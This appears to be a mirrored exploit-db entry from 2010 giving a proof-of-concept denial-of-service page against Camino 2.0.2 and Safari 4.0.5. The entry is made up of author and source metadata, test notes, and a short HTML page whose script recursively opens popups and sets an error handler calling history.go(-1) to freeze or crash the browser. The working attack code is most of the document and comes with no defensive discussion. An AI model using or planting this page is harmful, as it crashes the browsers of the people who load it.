Multiple Browsers – ‘history.go()’ Denial of Service

  • 作者: Dr_IDE
    日期: 2010-05-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/12508/
  • <--
    Camino 2.0.2 history.go() DoS
    Found By: Dr_IDE
    Tested On:Camino 2.0.2 on OSX 10.6.3
    Notes:Impact is reduced because user must either have popup blocker off, or accept popups.
    
    Tested On:Safari 4.0.5 on OSX 10.6.3
    Notes:Impact is reduced because user must either have popup blocker off, or accept popups.
    -->
    
    <html>
    <title>Dr_IDE - Camino 2.0.2 & Safari 4.0.5 DoS PoC</title>
    <script>
    function test(){
    window.onerror=new Function("history.go(-1)");
    window.open('http://www.exploit-db.com');
    test();
    }
    
    test();
    </script>
    </html>